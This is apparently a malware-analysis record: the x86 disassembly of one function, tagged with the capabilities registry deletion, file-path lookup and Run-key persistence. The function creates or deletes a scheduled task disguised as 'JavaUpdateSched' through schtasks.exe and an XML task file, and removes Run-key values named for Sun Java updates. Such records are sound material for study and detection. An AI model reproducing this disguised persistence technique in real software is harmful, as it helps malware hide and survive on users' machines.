Function at 0x6d5be730
Capabilities:
Delete registry value
Get common file path
Persist via run registry key

Disassembly:
sub esp, 0x428
mov eax, dword [0x6d5e2a5c]
xor eax, esp
mov dword [esp + 0x424], eax
push edi
mov edi, dword [esp + 0x430]
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x22]
push ecx
mov word [esp + 0x24], ax
call sub.MSVCR100.dll_memset
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x236]
push eax
mov word [esp + 0x238], dx
call sub.MSVCR100.dll_memset
add esp, 0x18
mov dword [esp + 0xc], 0
call fcn.6d5bdef0
test eax, eax
jne 0x6d5be7aa
pop edi
mov ecx, dword [esp + 0x424]
xor ecx, esp
call fcn.6d5ca6ac
add esp, 0x428
ret
push ebx
push ebp
push esi
push 0x208
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.kernel32.dll_GetSystemDirectoryW]
lea edx, [esp + 0x24]
push edx
lea ecx, [esp + 0x24]
call fcn.6d592e00
push str._schtasks.exe
lea ecx, [esp + 0x14]
call fcn.6d592e00
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x24]
call fcn.6d594760
mov esi, dword [esp + 0x10]
test esi, esi
je 0x6d5be823
lea ecx, [esi + 8]
push ecx
call dword [sym.imp.kernel32.dll_InterlockedDecrement]
test eax, eax
jne 0x6d5be823
mov eax, dword [esi]
test eax, eax
je 0x6d5be80a
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esi + 4]
test eax, eax
je 0x6d5be81a
push eax
call sub.MSVCR100.dll_void___cdecl_operator_delete___void__
add esp, 4
push esi
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
lea edx, [esp + 0x24]
push edx
lea ecx, [esp + 0x18]
call fcn.6d592e00
lea ecx, [esp + 0x10]
test edi, edi
jne 0x6d5be855
push str._schtasks.exe__delete__tn_JavaUpdateSched__f
mov dword [esp + 0x1c], 1
call fcn.6d592e00
lea eax, [esp + 0x10]
push eax
jmp 0x6d5be936
push 0x6d5ce20c
call fcn.6d592e00
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x18]
call fcn.6d594760
lea ecx, [esp + 0x10]
call fcn.6d592330
push edi
lea ecx, [esp + 0x14]
call fcn.6d592e00
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x18]
call fcn.6d594760
lea ecx, [esp + 0x10]
call fcn.6d592330
call fcn.6d593580
lea ecx, [esp + 0x10]
test eax, eax
je 0x6d5be8b5
push str.lib_task64.xml_
call fcn.6d592e00
lea eax, [esp + 0x10]
push eax
jmp 0x6d5be8c4
push str.lib_task.xml_
call fcn.6d592e00
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x18]
call fcn.6d594760
lea ecx, [esp + 0x10]
call fcn.6d592330
push str._schtasks.exe__create__xml
lea ecx, [esp + 0x14]
call fcn.6d592e00
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x18]
call fcn.6d594760
lea ecx, [esp + 0x10]
call fcn.6d592330
lea eax, [esp + 0x22c]
push eax
lea ecx, [esp + 0x14]
call fcn.6d592e00
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x18]
call fcn.6d594760
lea ecx, [esp + 0x10]
call fcn.6d592330
push str.__tn_JavaUpdateSched__f
lea ecx, [esp + 0x14]
call fcn.6d592e00
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x18]
call fcn.6d594760
lea ecx, [esp + 0x10]
call fcn.6d592330
mov edi, dword [esp + 0x14]
test edi, edi
je 0x6d5be954
mov ecx, dword [edi]
jmp 0x6d5be956
xor ecx, ecx
mov ebx, dword [esp + 0x20]
test ebx, ebx
je 0x6d5be962
mov eax, dword [ebx]
jmp 0x6d5be964
xor eax, eax
push 0
push ecx
push eax
call fcn.6d5babb0
mov ebp, eax
add esp, 0xc
test ebp, ebp
je 0x6d5bea38
lea eax, [esp + 0x1c]
push eax
push 0x2021f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x6d5bea38
cmp dword [esp + 0x18], eax
jne 0x6d5be9cc
mov ecx, dword [esp + 0x1c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push str.SunJavaUpdateSched
push ecx
call esi
mov edx, dword [esp + 0x1c]
push str.SunJavaUpdateReg
push edx
call esi
call fcn.6d5bad70
call fcn.6d5be4f0
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.create_delete_task_scheduler_successfully:_n
lea ecx, [esp + 0x14]
call fcn.6d592e00
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x14]
call fcn.6d594760
push 0x6d5cea74
lea ecx, [esp + 0x1c]
call fcn.6d592e00
lea edx, [esp + 0x18]
push edx
lea ecx, [esp + 0x14]
call fcn.6d594760
lea ecx, [esp + 0x18]
call fcn.6d592330
mov eax, dword [esp + 0x10]
test eax, eax
je 0x6d5bea24
mov eax, dword [eax]
jmp 0x6d5bea26
xor eax, eax
push eax
call fcn.6d5bb620
add esp, 4
lea ecx, [esp + 0x10]
call fcn.6d592330
test edi, edi
je 0x6d5bea70
lea eax, [edi + 8]
push eax
call dword [sym.imp.kernel32.dll_InterlockedDecrement]
test eax, eax
jne 0x6d5bea70
mov eax, dword [edi]
test eax, eax
je 0x6d5bea57
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [edi + 4]
test eax, eax
je 0x6d5bea67
push eax
call sub.MSVCR100.dll_void___cdecl_operator_delete___void__
add esp, 4
push edi
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
test ebx, ebx
je 0x6d5beaa8
lea ecx, [ebx + 8]
push ecx
call dword [sym.imp.kernel32.dll_InterlockedDecrement]
test eax, eax
jne 0x6d5beaa8
mov eax, dword [ebx]
test eax, eax
je 0x6d5bea8f
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebx + 4]
test eax, eax
je 0x6d5bea9f
push eax
call sub.MSVCR100.dll_void___cdecl_operator_delete___void__
add esp, 4
push ebx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov ecx, dword [esp + 0x434]
pop esi
mov eax, ebp
pop ebp
pop ebx
pop edi
xor ecx, esp
call fcn.6d5ca6ac
add esp, 0x428
ret